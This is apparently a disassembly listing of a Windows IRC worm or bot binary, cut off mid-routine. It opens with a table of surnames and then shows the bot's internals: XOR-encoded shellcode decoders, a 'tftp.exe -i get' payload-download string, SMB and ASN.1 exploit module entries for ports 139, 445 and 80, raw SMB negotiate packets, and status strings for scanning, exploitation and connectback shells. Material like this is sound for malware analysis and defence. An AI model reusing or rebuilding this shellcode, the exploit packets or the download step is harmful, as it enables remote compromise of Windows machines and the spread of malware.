aBossi db 'Bossi',0 ; DATA XREF: ___:0042DF00o
align 10h
aBorden db 'Borden',0 ; DATA XREF: ___:0042DEFCo
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DEF8o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEF4o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DEF0o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEECo
align 10h
aBook db 'Book',0 ; DATA XREF: ___:0042DEE8o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEE4o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEE0o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEDCo
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DED8o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DED4o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DED0o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DECCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DEC8o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DEC4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DEC0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DEBCo
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DEB8o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DEB4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DEB0o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DEACo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DEA8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DEA4o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DEA0o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE9Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE98o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE94o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE90o
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DE8Co
aBinion db 'Binion',0 ; DATA XREF: ___:0042DE88o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE84o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE80o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE7Co
aBetti db 'Betti',0 ; DATA XREF: ___:0042DE78o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE74o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE70o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE6Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE68o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE64o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE60o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE5Co
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE58o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE54o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE50o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE4Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE48o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE44o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE40o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE3Co
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE38o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DE34o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DE30o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DE2Co
aBean db 'Bean',0 ; DATA XREF: ___:0042DE28o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042DE24o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DE20o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DE1Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DE18o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DE14o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DE10o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DE0Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DE08o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DE04o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DE00o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDFCo
aBarry db 'Barry',0 ; DATA XREF: ___:0042DDF8o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDF4o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDF0o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDECo
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDE8o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDE4o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDE0o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDDCo
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDD8o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DDD4o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DDD0o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DDCCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DDC8o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DDC4o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DDC0o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DDBCo
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DDB8o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DDB4o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DDB0o
aBady db 'Bady',0 ; DATA XREF: ___:0042DDACo
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042DDA8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DDA4o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DDA0o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD9Co
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD98o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD94o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD90o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD8Co
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD88o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD84o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD80o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DD7Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD78o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DD74o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD70o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD6Co
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD68o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042DD64o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD60o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD5Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD58o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DD54o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD50o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042DD4Co
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042DD48o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042DD44o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD40o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD3Co
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD38o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DD34o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DD30o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DD2Co
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DD28o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DD24o
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042DD20o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042DD1Co
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042DD18o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DD14o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DD10o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DD0Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DD08o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DD04o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DD00o
align 10h
aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCFCo
aAdams db 'Adams',0 ; DATA XREF: ___:0042DCF8o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042DCF4o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCF0o
align 4
byte_431948 db 50h ; DATA XREF: ___:0040ADF0o
; ___:0040ADFDr
db 43h, 2 dup(0)
dword_43194C dd 7C7325h ; DATA XREF: ___:0040AE9Bo
dword_431950 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA5o
dword_431958 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Co
; sub_41AA43:loc_41AB06o
dword_43195C dd 334B32h ; DATA XREF: ___:0040AF95o
dword_431960 dd 5058h ; DATA XREF: ___:0040AF87o
; sub_41AA43+AAo
dword_431964 dd 4B32h ; DATA XREF: ___:0040AF77o
; sub_41AA43+98o
dword_431968 dd 454Dh ; DATA XREF: ___:0040AF5Eo
; sub_41AA43+7Eo
dword_43196C dd 3839h ; DATA XREF: ___:0040AF4Eo
; sub_41AA43+6Co
dword_431970 dd 544Eh ; DATA XREF: ___:0040AF3Eo
; sub_41AA43+5Ao
dword_431974 dd 3539h ; DATA XREF: ___:0040AF30o
; sub_41AA43+46o
dword_431978 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEB+3Ao
off_431980 dd offset byte_5D4D5B ; DATA XREF: sub_40AFEB+2Co
; sub_40AFEB+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o
; sub_418212+5o
align 4
jmp short loc_431990
; ---------------------------------------------------------------------------
loc_43198E: ; CODE XREF: ___:loc_431990p
jmp short loc_431995
; ---------------------------------------------------------------------------
loc_431990: ; CODE XREF: ___:0043198Cj
call loc_43198E
loc_431995: ; CODE XREF: ___:loc_43198Ej
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_43199C: ; CODE XREF: ___:004319A1j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_43199C
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_4319B2: ; CODE XREF: ___:004319B7j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_4319B2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_431A54
jnz short loc_431A40
retn
; ---------------------------------------------------------------------------
loc_431A40: ; CODE XREF: ___:00431A3Dj
; ___:00431A4Dj
call near ptr loc_431A45+1
loc_431A45: ; CODE XREF: ___:loc_431A40p
add [edx+0], ch
call sub_431A54
jz loc_431A40
retn
; =============== S U B R O U T I N E =======================================
sub_431A54 proc near ; CODE XREF: ___:00431A38p
; ___:00431A48p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_431A54 endp
; ---------------------------------------------------------------------------
align 10h
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
align 8
aSym db 'sym',0 ; DATA XREF: sub_40C125+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o
align 4
dd 5 dup(0)
dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r
; sub_401ACD+1DCAo ...
off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr
dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo
; ___:0040D496w ...
dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr
dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r
dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E207h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Fh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Fh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 10h
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2DAh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2DAh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2DAh, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn139_0 db 'asn139',0
align 10h
db 2 dup(0)
byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r
; sub_401ACD+1D24o
aAsn445_0 db 'asn445',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431D0E
; =============== S U B R O U T I N E =======================================
sub_431CFE proc near ; CODE XREF: sub_431CFE:loc_431D0Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431D06: ; CODE XREF: sub_431CFE+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431D06
jmp short loc_431D13
; ---------------------------------------------------------------------------
loc_431D0E: ; CODE XREF: ___:00431CFCj
call sub_431CFE
loc_431D13: ; CODE XREF: sub_431CFE+Ej
jo short near ptr dword_431C9C+12h
cwde
cdq
cdq
retn
sub_431CFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
align 10h
dword_431E90 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64B+46o
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40B64B+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431EBC db 2Dh ; - ; DATA XREF: sub_40B71A+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431F04 db 2Dh ; - ; DATA XREF: sub_40B786+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo
dword_431F40 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DB+14o
dd 7473694Ch, 3Ah
unk_431F6C db 2Dh ; - ; DATA XREF: ___:0040BA14o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431FA0 db 2Dh ; - ; DATA XREF: ___:0040B922o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_431FD0 db 2Dh ; - ; DATA XREF: sub_40BA57+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_431FF0 db 2Dh ; - ; DATA XREF: sub_40BA57+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_43200C db 2Dh ; - ; DATA XREF: sub_40BACE+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 10h
unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACE+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_432078 db 2Dh ; - ; DATA XREF: sub_40BACE+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_4320A8 db 2Dh ; - ; DATA XREF: sub_40BACE+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4320DC db 2Dh ; - ; DATA XREF: sub_40BACE+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_432110 db 2Dh ; - ; DATA XREF: sub_40BACE+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_432144 db 2Dh ; - ; DATA XREF: sub_40C125+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_43216C db 2Dh ; - ; DATA XREF: sub_40C125+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4 db 2Dh ; - ; DATA XREF: sub_40C125+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C125+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_43221C db 2Dh ; - ; DATA XREF: sub_40C125+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250 db 2Dh ; - ; DATA XREF: sub_40C125+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_432284 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59C+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o
align 4
dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao
dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o
dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o
dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o
dd 800000D4h, 0
unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_43245C db 41h ; DATA XREF: sub_40D07D+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4324A0 proc near ; DATA XREF: ___:0040D35Co
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43259C
push dword ptr [esi]
push 63D61209h
call sub_4325B2
mov [esi+8], eax
call sub_432565
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4325B2
mov [esi+0Ch], eax
call sub_432517
push dword ptr [esi+4]
push 4C0297FAh
call sub_4325B2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4324A0 endp
; =============== S U B R O U T I N E =======================================
sub_432517 proc near ; CODE XREF: sub_4324A0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432540
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_432517 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432540 proc near ; CODE XREF: sub_432517+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43254F: ; CODE XREF: sub_432540+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43255C
inc ebx
jmp short loc_43254F
; ---------------------------------------------------------------------------
loc_43255C: ; CODE XREF: sub_432540+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432540 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432565 proc near ; CODE XREF: sub_4324A0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43257D: ; CODE XREF: sub_432565+1Ej
cmp [ecx], ebx
jz short loc_432585
mov ecx, [ecx]
jmp short loc_43257D
; ---------------------------------------------------------------------------
loc_432585: ; CODE XREF: sub_432565+1Aj
mov edx, edi
loc_432587: ; CODE XREF: sub_432565+2Aj
cmp [edx+4], ebx
jz short loc_432591
mov edx, [edx+4]
jmp short loc_432587
; ---------------------------------------------------------------------------
loc_432591: ; CODE XREF: sub_432565+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_432565 endp
; =============== S U B R O U T I N E =======================================
sub_43259C proc near ; CODE XREF: sub_4324A0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43259C endp
; =============== S U B R O U T I N E =======================================
sub_4325B2 proc near ; CODE XREF: sub_4324A0+16p
; sub_4324A0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
